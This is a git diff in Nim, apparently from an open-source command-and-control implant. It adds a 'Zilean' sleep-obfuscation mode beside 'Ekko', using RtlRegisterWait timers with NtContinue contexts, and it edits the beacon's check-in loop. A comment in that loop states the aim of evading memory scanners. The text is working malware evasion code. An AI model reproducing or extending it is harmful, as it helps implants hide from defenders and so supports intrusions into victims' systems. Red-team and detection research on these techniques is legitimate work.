status = RtlCreateTimer(queue, addr timer, NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, $status.toHex())
|
raise newException(CatchableError, "RtlCreateTimer/NtContinue " & $status.toHex())
|
||||||
|
|
||||||
|
elif mode == ZILEAN:
|
||||||
|
status = RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](NtContinue), addr ctx[i], delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, "RtlRegisterWait/NtContinue " & $status.toHex())
|
||||||
|
|
||||||
echo protect("[*] Triggering sleep obfuscation.")
|
echo protect("[*] Triggering sleep obfuscation.")
|
||||||
|
|
||||||
status = NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
|
status = NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
|
||||||
|
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, $status.toHex())
|
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
|
||||||
|
|
||||||
|
echo protect("[*] Ending sleep obfuscation.")
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
sleep(sleepDelay)
|
sleep(sleepDelay)
|
||||||
echo protect("[-] "), err.msg
|
echo protect("[-] "), err.msg
|
||||||
|
|
||||||
|
finally:
|
||||||
|
# Cleanup
|
||||||
|
if queue != 0: discard RtlDeleteTimerQueue(queue)
|
||||||
|
if hEventTimer != 0: CloseHandle(hEventTimer)
|
||||||
|
if hEventWait != 0: CloseHandle(hEventWait)
|
||||||
|
if hEventStart != 0: CloseHandle(hEventStart)
|
||||||
|
if hEventEnd != 0: CloseHandle(hEventEnd)
|
||||||
|
if hThread != 0: CloseHandle(hThread)
|
||||||
@@ -36,7 +36,8 @@ proc main() =
|
|||||||
while true:
|
while true:
|
||||||
|
|
||||||
# Sleep obfuscation with stack spoofing to evade memory scanners
|
# Sleep obfuscation with stack spoofing to evade memory scanners
|
||||||
sleepEkko(ctx.sleep * 1000)
|
sleepObfuscate(ctx.sleep * 1000, ZILEAN)
|
||||||
|
# sleep(ctx.sleep * 1000)
|
||||||
|
|
||||||
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||||
echo "\n", fmt"[*] [{date}] Checking in."
|
echo "\n", fmt"[*] [{date}] Checking in."
|
||||||
|
|||||||
@@ -76,6 +76,10 @@ type
|
|||||||
LOG_SUCCESS = "[DONE] "
|
LOG_SUCCESS = "[DONE] "
|
||||||
LOG_WARNING = "[WARN] "
|
LOG_WARNING = "[WARN] "
|
||||||
|
|
||||||
|
SleepObfuscationMode* = enum
|
||||||
|
EKKO = 0'u8
|
||||||
|
ZILEAN = 1'u8
|
||||||
|
|
||||||
# Encryption
|
# Encryption
|
||||||
type
|
type
|
||||||
Uuid* = uint32
|
Uuid* = uint32
|
||||||
|
|||||||
Reference in New Issue
Block a user